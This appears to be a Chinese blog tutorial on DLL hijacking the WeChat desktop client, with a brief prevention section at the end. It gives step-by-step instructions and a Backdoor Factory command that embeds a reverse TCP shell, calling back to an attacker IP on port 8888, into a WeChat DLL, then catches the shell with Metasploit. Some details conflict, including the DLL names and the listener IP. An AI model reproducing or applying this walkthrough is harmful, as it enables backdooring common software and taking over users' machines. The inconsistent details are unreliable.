最近刚好在做PPT的dll劫持测试,现在就随便拿一个程序来练练手。增加一下熟练度。本测试纯属学习测试过程,不可用于非法操作!!!
一、测试环境
工具下载地址:
(1)BDF,劫持工具,可用于DLL注入,https:// backdoor-factory
(2)ProcessExplorer https://process-explorer.en.任务管理工具,本实验中用于查找微信程序调用的 DLL 文件
二、测试过程
1
在 Win7 虚拟机中打开微信登录窗口,需要扫描登录的窗口即可;然 后开启 ProcessExplorer,在运行程序列表中找到微信,然后在菜单栏中找“View”—>“LowerPaneView”—>“DLLs”,或者 ctrl+d, 接下来可以看到微信登录页面调用的动态链接库 如下图所示
测试使用的DLL是libEGL.DLL 文件
理论在微信安装目录下其他的DLL文件都可以 有待测试
2
在kali 中下载 Backdoor - factory
执行 ./backdoor.py -h 出现测试安装是否成功
将 Win7 安装的微信程序目录中的 libEGL.dll 拷贝到 kali 系统中,放于 the-backdoor-factory 下,运行命令如下:
python backdoor.py -f Jaky/dbghelp.dll -s reverse_shell_tcp_inline -P 8888 -H 192.168.114.140
其中,-f 表示被劫持的 DLL 文件,-s 表示 shell 的类型,-P 表示 DLL 要连接 远程主机的端口,-H 表示 DLL 连接的远程主机,注意参数的大小写问题
3
然后可以看到生成的文件放在 backdoored 目录下
然后将该文件重新放置在win7的微信安装目录
4
打开kali中的msf 设置exploit 和payload,随后设置 lhost 和 lport, IP 是 192.168.112.140,端口是 8888,最后输入 exploit 或者 run,监听过来的 shell。
5
在win7中打开微信 不需要登陆 就能在kali中接受到反弹的shell。
反弹shell命令
三、预防DLL劫持
(1)DLL劫持利用系统未知DLL的搜索路径方式,使得程序加载当前目录下的系统同名DLL。所以可以告诉系统DLL的位置,改变加载系统DLL的顺序不是当前目录,而是直接到系统目录下查找。
这个想法可以通过修改注册表实现:
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSessionManagerKnownDLLs是调用系统DLL的首要查找目录;例如里面有RE_SZ类型的"ntdll"="ntdll.dll"项,则系统载入"ntdll"时会直接从系统目录加载;
由此,添加"LPK"="LPK.DLL"即可防止LPK被劫持,同理可以阻止一些其他DLL被劫持,例如"USP10"。
在Windows NT系统,XP默认只有少数关键DLL在此键值下,Win7下面此键值已经相当齐全,在Win7系统下发生DLL劫持的概率要比XP小很多。(借用百度的预防知识点)
(2)还可以通过第三方工具进行dll劫持检测。DllHijackAuditor能够防止木马病毒劫持系统中的dll文件加载运行,是一款很不错的dll文件保护工具。
(3)坚持从官方下载软件,拒绝第三方。万一有后门呢?